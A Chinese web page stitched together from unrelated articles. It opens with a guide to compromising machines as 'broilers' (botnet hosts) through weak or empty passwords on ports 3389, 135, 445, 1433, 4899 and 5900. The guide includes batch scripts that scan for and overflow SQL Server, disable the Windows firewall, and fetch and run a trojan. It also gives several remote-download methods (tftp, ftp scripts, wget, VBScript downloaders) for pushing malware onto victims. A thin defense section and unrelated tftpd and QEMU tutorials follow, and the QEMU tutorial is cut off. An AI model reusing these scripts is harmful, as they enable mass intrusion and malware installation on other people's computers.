tftpd32下载文件(黑客是如何利用端口漏洞来抓肉鸡的?我们该如何防范?)
tftpd32中文版文章列表:
- 1、黑客是如何利用端口漏洞来抓肉鸡的?我们该如何防范?
- 2、Linux系统tftpd服务安装配置
- 3、嵌入式开发模拟器:qemu使用,仿真多种方式启动内核kernel 超详细
- 4、tftp为何timeout?为何server error:1File not found
- 5、康众医疗:公司是一家专业从事数字化X射线平板探测器研发、生产、销售和服务的企业
黑客是如何利用端口漏洞来抓肉鸡的?我们该如何防范?
黑客是如何利用端口漏洞来抓"肉鸡"的?我们该如何防范?
"肉鸡"这个名词我在之前的文章有简单介绍过,这里为了多数读者小白同志能理解,再详细阐述一次,"肉鸡"也称傀儡机,是指可以被黑客远程操控的机器,可以理解为是一组已被恶意软件感染并受恶意行为者控制的计算机。可以设计用于完成非法或恶意任务,包括发送垃圾邮件,窃取数据,勒索软件,欺诈性地点击广告或分布式拒绝服务(DDoS)攻击 。
一、黑客是如何利用端口漏洞来抓"肉鸡"的?
1、3389抓鸡
现在国内网络上流传着一种克隆版的XP,安装后会默认开启一个账号为new,密码为空的账户,而且基本上都是开着3389的,我们就可以利用这一点来抓肉鸡。首先用端口扫描工具扫一段IP的3389端口,扫完后就直接用远程桌面连接开放3389的机器(也可以把结果保存为文本文件,用批量生成3389连接的工具来连接),然后输入账号new登入,如果别人的电脑前没人的话你就可以去你的空间下载你传好的木马安装拉~~
这种方法只针XP系统,如果遇到2000、 2003、win7系统就不要试了
2、扫135端口抓肉鸡
首先先用端口扫描器扫一段IP的135端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用recton开telnet传马。因为现在135和445端口都被防火墙屏蔽了,只能扫本地的135肉鸡,要抓外地的只能用外地的135肉鸡来扫。
3、扫445端口抓肉鸡
和扫135抓肉鸡差不多,首先先用端口扫描器扫一段IP的445端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用啊D工具包开共享传马。因为现在135和445端口都被防火墙屏蔽了,只能扫本地的445肉鸡,要抓外地的只能用外地的445肉鸡来扫。
4、1433端口批量溢出抓肉鸡
这个方法可以实现全自动抓鸡,不过现在太多人搞,成功率已经不高了。要用到的工具:S扫sqlhello.exenc.exe批处理文件首先先写个批处理,打开记事本,把以下代码复制修改后,储存为扫描 溢出.bat文件
@echooff
for/f"eol=;tokens=1,2delims="%%iin(tt.txt)dos.exetcp%%i%%j
14331000/save
@echooff
for/f"eol=;tokens=1delims="%%iin(Result.txt)dosqlhello%%i
1433xxx.xxx.xx.xx556
还要新建一个tt.txt,里面你要扫的IP段,格式为XXX.XXX.XXX.XXXXXX.XXX.XXX.XXX,中间是空格1433是要扫描的端口,1000是扫描线程数,dosqlhello%%i1433xxx.xxx.xx.xx556这个里的XXX添你的IP,556是后面NC监听的端口然后再写个批处理
@echooff
Nc-l-vv-p556>daima.txt
echousername>>daima.txt
echopassword>>daima.txt
echobin>>daima.txt(以2进制传输数据)
echogetxxx.exe(你的木马的文件名,要放在根目录下)>>daima.txt
echobye>>daima.txt
netstopsharedaccess(关闭WINDOWS自带防火墙)
ftp-s:daima.txt
xxx.exe(也是填你木马的文件名)
deldaima.txt
注意上面的代码回车符别删掉,要不然就没法下你的马了。
几种肉鸡上传文件的方法
tftp法
先在自己某机器上建个tftp服务器,如执行tftpd32.exe,
再将文件(sample.exe)上传到别的机器中(肉鸡),
肉鸡cmd中执行:tftp-i服务器ipgetsample.exe
ftp法
肉鸡cmd中执行:
echoOpenftp服务器ip[端口]>ftp.txt
echousername>>ftp.txt
echopassword>>ftp.txt
echogetsample.exe>>ftp.txt
echobye>>ftp.txt
ftp-s:ftp.txt
delftp.txt
工具法
利用wineggdrop的wget.exe
肉鸡cmd中执行:wget网站/sample.exe
利用dl.vbe法
肉鸡cmd中执行:
echowithwscript:if.arguments.count^<2then.quit:endif
>dl.vbe
echosetaso=.createobject("adodb.stream"):set
web=createobject("microsoft.xmlhttp")>>dl.vbe
echoweb.open"get",.arguments(0),0:web.send:if
web.status^>200thenquit>>dl.vbe
echo
aso.type=1:aso.open:aso.writeweb.responsebody:aso.savetofile
.arguments(1),2:endwith>dl.vbe
cscriptdl.vbehttp://*。*。*。*:88/sample.exesample.exe
利用iget.vbe法
方法同4,
肉鸡cmd中执行:
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=CreateObject("Microsoft.XMLHTTP")
>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe
cscriptiget.vbehttp://*。*。*。*/sample.exesample.exe
利用Http网站vbe法
echoSetxPost=CreateObject("Microsoft.XMLHTTP")
>dsa.vbe
echoxPost.Open"GET","http://*.*.*.*/sample.exe",0
>>dsa.vbe
echoxPost.Send()>>dsa.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>dsa.vbe
echosGet.Mode=3>>dsa.vbe
echosGet.Type=1>>dsa.vbe
echosGet.Open()>>dsa.vbe
echosGet.Write(xPost.responseBody)>>dsa.vbe
echosGet.SaveToFile"sample.exe",2>>dsa.vbecscript
dsa.vbe
deldsa.vbe
3389法
可以开3389,然后登陆,进行本地的下载。该方法对服务器上传很严格的机器特有效。(包括硬件防火墙)先打开多个NC.bat,然后再打开扫描 溢出.bat,然后你就可以去睡觉了。自动扫描,扫描完后自动溢出,溢出后还自动下马执行,爽吧!所以这里讲详细点,呵呵。还有4221端口也可以这样溢出,只要用这些端口的溢出工具就好了,注意,上面的工具和批处理什么的都要放在同一个文件
夹下。
5、用WINNTAutoAttack扫SA弱口令抓肉鸡
其实这个原理和上面一样,效率也没上面的高,只是想让大家知道下。
工具:WINNTAutoAttackSQL综合利用工具
打开WINNTAutoAttack,找一段IP添上,然后只勾上设置下
的仅对PING检查成功的机器进行检测和SQL列出密码为空的SA
账号,接着开始扫描,扫完后,用SQL综合利用工具连上传马
执行就好了。
6、扫4899空口令抓肉鸡
工具:端口扫描器4899探测器Radmin
首先先用端口扫描器扫一段IP的4899端口,然后用4899探测器导入开了4899端口的IP,接着扫空令,最后用Radmin连接有空口令的机器,带开文件管理,上传的你木马运行就OK了。
8、扫5900端口抓VNC肉鸡
工具:VNC扫描器VNC连接器
首先用VNC扫描器扫描一段IP,扫描格式为vscan.exe(扫描器文件名)-i219.0.0.0-219.255.255.255(扫描IP段)-p5900-vnc-vv扫描完成后会在扫描器所在的同一文件夹生成一个文本文件,打开后有一列IP,IP后面的有一些单词比如patched,banned,vulnerable,只有单词为vulnerable才能连接。
三、如何保护自己的电脑不被当成"肉鸡"呢?
常规方法:
1、创建安全密码
很多人的设备一直是默认用户名和密码或者是很简单的密码,这很容易被不法之徒破解。所以创建一个复杂安全的密码是非常有必要的,现在一个非常安全的密码使得暴力破解是很不容易破解的。
2、定期系统清理和恢复
定期给系统做好备份,一旦电脑出现什么问题,可以直接恢复到上次安全状态,可以将那些垃圾软件包括僵尸网络软件给清理干净。
3、安装必要的安全防护杀毒软件
现在的杀毒软件也越来越厉害了,而且还是免费的。只要电脑在使用过程中没有访问乱七八糟的那些网站和软件,杀毒软件就可以保证的电脑的安全。
现在"肉鸡"不仅仅是电脑了,只要能联网的设备都有可能成为"肉鸡"。如果你的电脑已经成为了"肉鸡",首先可以通过杀毒软件进行病毒查杀,或者重装系统。如果是物联网设备成为了"肉鸡",可以恢复出厂设置或以其他方式格式化设备。 如果这些选项不可行,则可以从设备制造商或系统管理员处获得其他解决方法
专业方法:
1、屏幕保护
在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统就会自动启动屏幕保护程序,而当用户移动鼠标或敲击键盘想返回正常工作状态时,系统就会打开一个密码确认框,只有输入正确的密码之后才能返回系统,不知道密码的用户将无法进入工作状态,从而保护了数据的安全。提示:部分设计不完善的屏幕保护程序没有屏蔽系统的"Ctrl Alt Del"的组合键,因此需要设置完成之后测试一下程序是否存在这个重大Bug.不过,屏幕保护最快只能在用户离开1分钟之后自动启动,难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活之后才能再离开吗?其实我们只要打开Windows安装目录里面的system子目录,然后找到相应的屏幕保护程序(扩展名是SCR),按住鼠标右键将它们拖曳到桌面上,选择弹出菜单中的"在当前位置创建快捷方式"命令,在桌面上为这些屏幕保护程序建立一个快捷方式。此后,我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。
2、巧妙隐藏硬盘
在"按Web页"查看方式下,进入Windows目录时都会弹出一句警告信息,告诉你这是系统文件夹如果"修改该文件夹的内容可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件",这时单击"显示文件"就可以进入该目录了。原因是在Windows根目录下有desktop.ini和folder.htt两个文件作祟。将这两个文件拷贝到某个驱动器的根目录下(由于这两个文件是隐藏文件,之前必须在文件夹选项中单击"查看"标签,选择"显示所有文件",这样就可以看见这两个文件了)。再按"F5"键刷新一下,看看发生了什么,是不是和进入Windows目录时一样。接下来我们用"记事本"打开folder.htt,这是用HTML语言编写的一个文件,发挥你的想像力尽情地修改吧。如果你不懂HTML语言也没关系,先找到"显示文件"将其删除,找到"修改该文件夹的内可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件",将其改为自己喜欢的文字,例如"安全重地,闲杂人等请速离开"。将"要查看该文件夹的内容,请单击"改为"否则,后果自负!",接着向下拖动滑块到倒数第9行,找到"(file://%TEMPLATEDIR%wvlogo.gif)"这是显示警告信息时窗口右下角齿轮图片的路径,将其改为自己图片的路径,例如用"d:tupiantupian1.jpg"替换"//"后面的内容,记住这里必须将图片的后缀名打出,否则将显示不出图片。当然,你还可以用像Dreamweaver、FrontPage这样的网页工具做出更好的效果,然后只要将原文件拷贝到下面这段文字的后面,覆盖掉原文件中"~"之间的内容就可以了*ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer5.0*usingthefile%THISDIRPATH%folder.htt.保存并退出,按"F5"键刷新一下,是不是很有个性?接下来要作的就是用"超级兔子"将你所要的驱动器隐藏起来,不用重新启动就可以欣赏自己的作品了。最后告诉大家一招更绝的,就是干脆将folder.htt原文件中"~"之间的内容全部删除,这样就会给打开你的驱动器的人造成一种这是一个空驱动器的假象,使其中的文件更安全。
3、禁用"开始"菜单命令
在Windows系统中都集成了组策略的功能,通过组策略可以设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运行"开始→运行"命令,在"运行"对话框的"打开"栏中输入"gpedit.msc",然后单击"确定"按钮即可启动WindowsXP组策略编辑器。在"本地计算机策略"中,逐级展开"用户配置→管理模板→任务栏和开始菜单"分支,在右侧窗口中提供了"任务栏"和"开始菜单"的有关策略。在禁用"开始"菜单命令的时候,在右侧窗口中,提供了删除"开始"菜单中的公用程序组、"我的文档"图标、"文档"菜单、"网上邻居"图标等策略。清理"开始"菜单的时候只要将不需要的菜单项所对应的策略启用即可,比如以删除"我的文档"图标为例,具体操作步骤为:
1)在策略列表窗口中用鼠标双击"从开始菜单中删除我的文档图标"选项。
2)在弹出窗口的"设置"标签中,选择"已启用"单选按钮,然后单击"确定"即可。
4、桌面相关选项的禁用
Windows系统的桌面就像你的办公桌一样,有时需要进行整理和清洁。有了组策略编辑器之后,这项工作将变得易如反掌,只要在"本地计算机策略"中展开"用户配置→管理模板→桌面"分支,即可在右侧窗口中显示相应的策略选项。1)隐藏桌面的系统图标倘若隐藏桌面上的系统图标,传统的方法是通过采用修改注册表的方式来实现,这势必造成一定的风险性,采用组策略编辑器,即可方便快捷地达到此目的。若要隐藏桌面上的"网上邻居"和"InternetEXPlorer"图标,只要在右侧窗口中将"隐藏桌面上网上邻居图标"和"隐藏桌面上的InternetEXPlorer图标"两个策略选项启用即可。如果隐藏桌面上的所有图标,只要将"隐藏和禁用桌面上的所有项目"启用即可。当启用了"删除桌面上的我的文档图标"和"删除桌面上的我的电脑图标"两个选项以后,"我的电脑"和"我的文档"图标将从你的电脑桌面上消失了。如果在桌面上你不再喜欢"回收站"这个图标,那么也可以把它给删除,具体方法是将"从桌面删除回收站"策略项启用。2)禁止对桌面的某些更改如果你不希望别人随意改变计算机桌面的设置,请在右侧窗口中将"退出时不保存设置"这个策略选项启用。当你启用这个了设置以后,其他用户可以对桌面做某些更改,但有些更改,诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存。
5、禁止访问"控制面板"
如果你不希望其他用户访问计算机的控制面板,你只要运行组策略编辑器,并在左侧窗口中展开"本地计算机策略→用户配置→管理模板→控制面板"分支,然后将右侧窗口的"禁止访问控制面板"策略启用即可。此项设置可以防止控制面板程序文件的启动,其结果是他人将无法启动控制面板或运行任何控制面板项目。另外,这个设置将从"开始"菜单中删除控制面板,同时这个设置还从Windows资源管理器中删除控制面板文件夹。提示:如果你想从上下文菜单的属性项目中选择一个"控制面板"项目,会出现一个消息,说明该设置防止这个操作。
6、设置用户权限
当多人共用一台计算机时,在Windows系统中设置用户权限,可以按照以下步骤进行:
1)运行组策略编辑器程序。
2)在编辑器窗口的左侧窗口中逐级展开"计算机配置→Windows设置→安全设置→本地策略→用户权限指派"分支。
3)双击需要改变的用户权限,单击"添加用户或组"按钮,然后双击想指派给权限的用户账号,最后单击"确定"按钮退出。
7、文件夹设置审核Windows系统可以使用审核跟踪用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启动以及类似的事件,而审核文件和NTFS分区下的文件夹可以保证文件和文件夹的安全。
为文件和文件夹设置审核的步骤如下:
1)在组策略窗口中,逐级展开右侧窗口中的"计算机配置→Windows设置→安全设置→本地策略"分支,然后在该分支下选择"审核策略"选项。
2)在右侧窗口中用鼠标双击"审核对象访问"选项。
3)用鼠标右键单击想要审核的文件或文件夹,选择弹出菜单的"属性"命令,接着在弹出的窗口中选择"安全"标签。
4)单击"高级"按钮,然后选择"审核"标签。
5)根据具体情况选择你的操作:倘若对一个新组或用户设置审核,可以单击"添加"按钮,并且在"名称"框中键入新用户名,然后单击"确定"按钮打开"审核项目"对话框。要查看或更改原有的组或用户审核,可以选择用户名,然后单击"查看/编辑"按钮。要删除原有的组或用户审核,可以选择用户名,然后单击"删除"按钮即可。
6)如有必要的话,在"审核项目"对话框中的"应用到"列表中选取你希望审核的地方。
7)如果想禁止目录树中的文件和子文件夹继承这些审核项目,选择"仅对此容器内的对象和/或容器应用这些审核项"复选框。注意:必须是管理员组成员或在组策略中被授权有"管理审核和安全日志"权限的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之前,你必须启用组策略中"审核策略"的"审核对象访问"。否则,当你设置完文件、文件夹审核时会返回一个错误消息,并且文件、文件夹都没有被审核。
Linux系统tftpd服务安装配置
一、几个基本概念
ftp - 即 File Transfer Protocol, 文件传输协议,是一种在互联网中进行文件传输的协议;基于TCP传输,端口号20、21;
TFTP - 即 Trivial File Transfer Protocol,简单文件传输协议;基于UDP传输,端口号69;
tftpd - 一款基于tftp协议的文件传输软件,提供基本的文件上传下载功能。
二、tftpd安装配置
测试系统:Ubuntu 20.04
软件安装:
$ sudo aptitude install tftp-hpa tftpd-hpa
创建根目录:
$ mkdir /home/zwang/tftpboot (在当前Home下创建一个tftpboot的工作目录作为tftpd根目录)
修改配置文件/etc/default/tftpd-hpa,指定根目录为刚才创建的tftpboot,并修改一下参数。
$ sudo vi /etc/default/tftpd-hpa
# /etc/default/tftpd-hpa
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/home/zwang/tftpboot"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="-l -c -s"
重启tftpd服务:
$ sudo /etc/init.d/tftpd-hpa restart
测试文件传输:
$ tftp 127.0.0.1 #这里可换成tftpd服务所在的实际IP地址
tftp> get kernel7.img
tftp> put 1.txt
Error code 0: Permission denied
tftp>
tftp> q
get - 表示从根目录/home/zwang/tftpboot下载文件,确保文件存在;
put - 表示上传文件到根目录/home/zwang/tftpboot下;
q - 退出连接。
注意:上面测试put时提示没权限(Error code 0: Permission denied),是因为/home/zwang/tftpboot目录权限不是777; 当然也可以将tftp添加到当前用户组,然后默认775权限就能上传了。
最简单的方法就是将根目录设置成777权限,就可以自由地上传下载了:
$ chmod 777 /home/zwang/tftpboot
嵌入式开发小技巧:
嵌入式开发过程,需要频繁的对开发板烧写kernel等系统文件,那么可以将tftpd的根目录设置到SDK开发目录,每次编译生成新的kernel文件之后就可以直接通过tftp上传到板子了。
嵌入式开发模拟器:qemu使用,仿真多种方式启动内核kernel 超详细
适用于:
想学习嵌入式开发,但又没有购买开发板的情况
开发测试阶段避免繁琐耗时下载到主板
便于调试驱动及内核
与外设关联不大时
环 境:
vmare 15 pro
ubuntu 18.04
qemu 6.2.0
测试虚拟主板 :vexpress-a9 (ARM Versatile Express for Cortex-A9)
源码下载:
qemu : https://download.qemu.org
u-boot: ftp://ftp.denx.de/pub/u-boot/
buildroot: https://buildroot.org/downloads/
需要的支持库:
apt-get install libpixman-1-devsudo apt-get install zlib1g-devsudo apt-get install libglib2.0-0sudo apt-get install libglib2.0-dev
大概步骤:
一、下载安装qemu
二、下载安装交叉编译器
三、下载、编译u-boot (bootloader)
四、下载、编译、安装文件系统(buildroot制作)
五、内核zImage启动测试:(方法一,sd参数)
六、启动内核方法二(initrd参数)
七、启动内核方法三:(先启动u-boot - 加载内核到DRAM - bootz启动)
八、启动内核方法四:tftp - 手动
九、启动内核方法五:nfs - 手动
十、启动内核方法七:自动用tftp加载内核到DRAM并启动
十一、启动内核方法七:自动用nfs加载内核到DRAM并启动
安装qemu :
安装方法一:
命令:sudo apt-get install qemu
biren@ubuntu:~$ sudo apt-get install qemuThe following additional packages will be installed: binfmt-support cpu-checker ibverbs-providers ipxe-qemu ipxe-qemu-256k-compat-efi-roms libaio1 libcacard0 libfdt1 libibverbs1 libiscsi7 libnl-route-3-200 librados2 librbd1 librdmacm1 libsdl1.2debian libspice-server1 libusbredirparser1 libxen-4.9 libxenstore3.0 msr-tools qemu-block-extra qemu-slof qemu-system qemu-system-arm qemu-system-common qemu-system-mips qemu-system-misc qemu-system-ppc qemu-system-s390x qemu-system-sparc qemu-system-x86 qemu-user qemu-user-binfmt qemu-utils seabios sharutilsSuggested packages: qemu-user-static samba vde2 qemu-efi openbios-ppc openhackware openbios-sparc sgabios ovmf debootstrap sharutils-doc bsd-mailx | mailx0 upgraded, 37 newly installed, 0 to remove and 148 not upgraded.Need to get 62.4 MB of archives.After this operation, 341 MB of additional disk space will be used.Do you want to continue? [Y/n]
此种安装方法的缺点是不能自主确定安装的版本。
安装方法二:
从qemu官网下载源码文件qemu-6.2.0.tar.xz
解压:
biren@ubuntu:~$ tar -xvf qemu-6.2.0.tar.xz
编 译:
命令:./configure --prefix=/usr/local/qemu6.2.0
错误一 :
ERROR: pkg-config binary 'pkg-config' not found
biren@ubuntu:~$ cd qemu-6.2.0/biren@ubuntu:~/qemu-6.2.0$ ./configure --prefix=/usr/local/qemu6.2.0ERROR: pkg-config binary 'pkg-config' not found
解决:
安装pkg-config
biren@ubuntu:~/qemu-6.2.0$ sudo apt-get install pkg-configThe following NEW packages will be installed: pkg-config0 upgraded, 1 newly installed, 0 to remove and 235 not upgraded.Need to get 45.0 kB of archives.After this operation, 185 kB of additional disk space will be used.Get:1 http://mirrors.aliyun.com/ubuntu bionic/main amd64 pkg-config amd64 0.29.1-0ubuntu2 [45.0 kB]Fetched 45.0 kB in 0s (176 kB/s) Selecting previously unselected package pkg-config.(Reading database ... 140996 files and directories currently installed.)Preparing to unpack .../pkg-config_0.29.1-0ubuntu2_amd64.deb ...Unpacking pkg-config (0.29.1-0ubuntu2) ...Setting up pkg-config (0.29.1-0ubuntu2) ...Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
问题二:ERROR: Cannot find ninja
biren@ubuntu:~/qemu-6.2.0$ ./configure --prefix=/usr/local/qemu6.2.0Using './build' as the directory for build outputERROR: Cannot find Ninja
解决:
安装ninja-build
biren@ubuntu:~/qemu-6.2.0$ sudo apt-get install ninja-build
问题三:ERROR: glib-2.56 gthread-2.0 is required to compile QEMU
biren@ubuntu:~/qemu-6.2.0$ ./configure --prefix=/usr/local/qemu6.2.0Using './build' as the directory for build outputERROR: glib-2.56 gthread-2.0 is required to compile QEMU
解决:
biren@ubuntu:~/qemu-6.2.0$ sudo apt-get install libglib2.0 Note, selecting 'libglib2.0-cil-dev' for regex 'libglib2.0'Note, selecting 'libglib2.0-tests' for regex 'libglib2.0'Note, selecting 'libglib2.0-0-dbg' for regex 'libglib2.0'Note, selecting 'libglib2.0-dev-bin' for regex 'libglib2.0'Note, selecting 'libglib2.0-bin' for regex 'libglib2.0'Note, selecting 'libglib2.0-cil' for regex 'libglib2.0'Note, selecting 'libglib2.0-dev' for regex 'libglib2.0'Note, selecting 'libglib2.0-doc' for regex 'libglib2.0'Note, selecting 'libglib2.0-data' for regex 'libglib2.0'Note, selecting 'libglib2.0-0' for regex 'libglib2.0'The following additional packages will be installed: binfmt-support ca-certificates-mono cli-common libmono-corlib4.5-cil libmono-i18n-west4.0-cil libmono-i18n4.0-cil libmono-security4.0-cil libmono-system-configuration4.0-cil libmono-system-security4.0-cil libmono-system-xml4.0-cil libmono-system4.0-cil mono-4.0-gac mono-gac mono-runtime mono-runtime-common mono-runtime-sgenSuggested packages: monodoc-gtk2.0-manual devhelp libmono-i18n4.0-all libgamin0The following NEW packages will be installed: binfmt-support ca-certificates-mono cli-common libglib2.0-cil libglib2.0-cil-dev libglib2.0-dev libglib2.0-dev-bin libglib2.0-doc libglib2.0-tests libmono-corlib4.5-cil libmono-i18n-west4.0-cil libmono-i18n4.0-cil libmono-security4.0-cil libmono-system-configuration4.0-cil libmono-system-security4.0-cil libmono-system-xml4.0-cil libmono-system4.0-cil mono-4.0-gac mono-gac mono-runtime mono-runtime-common mono-runtime-sgenThe following packages will be upgraded: libglib2.0-0 libglib2.0-bin libglib2.0-data3 upgraded, 22 newly installed, 0 to remove and 232 not upgraded.Need to get 10.1 MB/10.2 MB of archives.After this operation, 56.2 MB of additional disk space will be used.Do you want to continue? [Y/n]
问题四:ERROR: Dependency "pixman-1" not found
Run-time dependency appleframeworks found: NO (tried framework)Found pkg-config: /usr/bin/pkg-config (0.29.1)Run-time dependency pixman-1 found: NO (tried pkgconfig)../meson.build:415:2: ERROR: Dependency "pixman-1" not found, tried pkgconfigA full log can be found at /home/biren/qemu-6.2.0/build/meson-logs/meson-log.txtERROR: meson setup failed
解决:
biren@ubuntu:~/qemu-6.2.0$ sudo apt-get install libpixman-1-devThe following NEW packages will be installed: libpixman-1-dev0 upgraded, 1 newly installed, 0 to remove and 232 not upgraded.Need to get 244 kB of archives.After this operation, 959 kB of additional disk space will be used.
继续安装qemu...:
biren@ubuntu:~/qemu-6.2.0$ ./configure --prefix=/usr/local/qemu6.2.0biren@ubuntu:~/qemu-6.2.0$ make -j4biren@ubuntu:~/qemu-6.2.0$ make install
将bin目录添加到环境变量PATH:
biren@ubuntu:~$ export PATH=$PATH:/usr/local/qemu6.2.0/bin或在home目录下的.bashrc文件里加入上面这句。
qemu安装完成。
查看支持的主板:qemu-system-arm -machine help
biren@ubuntu:~$ qemu-system-arm -machine helpSupported machines are:akita Sharp SL-C1000 (Akita) PDA (PXA270)ast2500-evb Aspeed AST2500 EVB (ARM1176)ast2600-evb Aspeed AST2600 EVB (Cortex-A7)borzoi Sharp SL-C3100 (Borzoi) PDA (PXA270)canon-a1100 Canon PowerShot A1100 IS (ARM946)cheetah Palm Tungsten|E aka. Cheetah PDA (OMAP310)collie Sharp SL-5500 (Collie) PDA (SA-1110)connex Gumstix Connex (PXA255)cubieboard cubietech cubieboard (Cortex-A8)emcraft-sf2 SmartFusion2 SOM kit from Emcraft (M2S010)fp5280g2-bmc Inspur FP5280G2 BMC (ARM1176)fuji-bmc Facebook Fuji BMC (Cortex-A7)g220a-bmc Bytedance G220A BMC (ARM1176)highbank Calxeda Highbank (ECX-1000)imx25-pdk ARM i.MX25 PDK board (ARM926)integratorcp ARM Integrator/CP (ARM926EJ-S)kudo-bmc Kudo BMC (Cortex-A9)kzm ARM KZM Emulation Baseboard (ARM1136)lm3s6965evb Stellaris LM3S6965EVB (Cortex-M3)lm3s811evb Stellaris LM3S811EVB (Cortex-M3)mainstone Mainstone II (PXA27x)mcimx6ul-evk Freescale i.MX6UL Evaluation Kit (Cortex-A7)mcimx7d-sabre Freescale i.MX7 DUAL SABRE (Cortex-A7)microbit BBC micro:bit (Cortex-M0)midway Calxeda Midway (ECX-2000)mps2-an385 ARM MPS2 with AN385 FPGA image for Cortex-M3mps2-an386 ARM MPS2 with AN386 FPGA image for Cortex-M4mps2-an500 ARM MPS2 with AN500 FPGA image for Cortex-M7mps2-an505 ARM MPS2 with AN505 FPGA image for Cortex-M33mps2-an511 ARM MPS2 with AN511 DesignStart FPGA image for Cortex-M3mps2-an521 ARM MPS2 with AN521 FPGA image for dual Cortex-M33mps3-an524 ARM MPS3 with AN524 FPGA image for dual Cortex-M33mps3-an547 ARM MPS3 with AN547 FPGA image for Cortex-M55musca-a ARM Musca-A board (dual Cortex-M33)musca-b1 ARM Musca-B1 board (dual Cortex-M33)musicpal Marvell 88w8618 / MusicPal (ARM926EJ-S)n800 Nokia N800 tablet aka. RX-34 (OMAP2420)n810 Nokia N810 tablet aka. RX-44 (OMAP2420)netduino2 Netduino 2 Machine (Cortex-M3)netduinoplus2 Netduino Plus 2 Machine (Cortex-M4)none empty machinenpcm750-evb Nuvoton NPCM750 Evaluation Board (Cortex-A9)nuri Samsung NURI board (Exynos4210)orangepi-pc Orange Pi PC (Cortex-A7)palmetto-bmc OpenPOWER Palmetto BMC (ARM926EJ-S)quanta-gbs-bmc Quanta GBS (Cortex-A9)quanta-gsj Quanta GSJ (Cortex-A9)quanta-q71l-bmc Quanta-Q71l BMC (ARM926EJ-S)rainier-bmc IBM Rainier BMC (Cortex-A7)raspi0 Raspberry Pi Zero (revision 1.2)raspi1ap Raspberry Pi A (revision 1.1)raspi2b Raspberry Pi 2B (revision 1.1)realview-eb ARM RealView Emulation Baseboard (ARM926EJ-S)realview-eb-mpcore ARM RealView Emulation Baseboard (ARM11MPCore)realview-pb-a8 ARM RealView Platform Baseboard for Cortex-A8realview-pbx-a9 ARM RealView Platform Baseboard Explore for Cortex-A9romulus-bmc OpenPOWER Romulus BMC (ARM1176)sabrelite Freescale i.MX6 Quad SABRE Lite Board (Cortex-A9)smdkc210 Samsung SMDKC210 board (Exynos4210)sonorapass-bmc OCP SonoraPass BMC (ARM1176)spitz Sharp SL-C3000 (Spitz) PDA (PXA270)stm32vldiscovery ST STM32VLDISCOVERY (Cortex-M3)supermicrox11-bmc Supermicro X11 BMC (ARM926EJ-S)swift-bmc OpenPOWER Swift BMC (ARM1176) (deprecated)sx1 Siemens SX1 (OMAP310) V2sx1-v1 Siemens SX1 (OMAP310) V1tacoma-bmc OpenPOWER Tacoma BMC (Cortex-A7)terrier Sharp SL-C3200 (Terrier) PDA (PXA270)tosa Sharp SL-6000 (Tosa) PDA (PXA255)verdex Gumstix Verdex (PXA270)versatileab ARM Versatile/AB (ARM926EJ-S)versatilepb ARM Versatile/PB (ARM926EJ-S)vexpress-a15 ARM Versatile Express for Cortex-A15vexpress-a9 ARM Versatile Express for Cortex-A9virt-2.10 QEMU 2.10 ARM Virtual Machinevirt-2.11 QEMU 2.11 ARM Virtual Machinevirt-2.12 QEMU 2.12 ARM Virtual Machinevirt-2.6 QEMU 2.6 ARM Virtual Machinevirt-2.7 QEMU 2.7 ARM Virtual Machinevirt-2.8 QEMU 2.8 ARM Virtual Machinevirt-2.9 QEMU 2.9 ARM Virtual Machinevirt-3.0 QEMU 3.0 ARM Virtual Machinevirt-3.1 QEMU 3.1 ARM Virtual Machinevirt-4.0 QEMU 4.0 ARM Virtual Machinevirt-4.1 QEMU 4.1 ARM Virtual Machinevirt-4.2 QEMU 4.2 ARM Virtual Machinevirt-5.0 QEMU 5.0 ARM Virtual Machinevirt-5.1 QEMU 5.1 ARM Virtual Machinevirt-5.2 QEMU 5.2 ARM Virtual Machinevirt-6.0 QEMU 6.0 ARM Virtual Machinevirt-6.1 QEMU 6.1 ARM Virtual Machinevirt QEMU 6.2 ARM Virtual Machine (alias of virt-6.2)virt-6.2 QEMU 6.2 ARM Virtual Machinewitherspoon-bmc OpenPOWER Witherspoon BMC (ARM1176)xilinx-zynq-a9 Xilinx Zynq Platform Baseboard for Cortex-A9z2 Zipit Z2 (PXA27x)
安装交叉编译器:
命令:sudo apt-get install gcc-arm-linux-gnueabi
biren@ubuntu:~$ sudo apt-get install gcc-arm-linux-gnueabiThe following additional packages will be installed: binutils binutils-arm-linux-gnueabi binutils-common binutils-x86-64-linux-gnu cpp-7-arm-linux-gnueabi cpp-arm-linux-gnueabi gcc-7-arm-linux-gnueabi gcc-7-arm-linux-gnueabi-base gcc-7-cross-base gcc-8-cross-base libasan4-armel-cross libatomic1-armel-cross libbinutils libc6-armel-cross libc6-dev-armel-cross libcilkrts5-armel-cross libgcc-7-dev-armel-cross libgcc1-armel-cross libgomp1-armel-cross libstdc 6-armel-cross libubsan0-armel-cross linux-libc-dev-armel-crossSuggested packages: binutils-doc gcc-7-locales cpp-doc gcc-7-multilib-arm-linux-gnueabi gcc-7-doc libgcc1-dbg-armel-cross libgomp1-dbg-armel-cross libitm1-dbg-armel-cross libatomic1-dbg-armel-cross libasan4-dbg-armel-cross liblsan0-dbg-armel-cross libtsan0-dbg-armel-cross libubsan0-dbg-armel-cross libcilkrts5-dbg-armel-cross 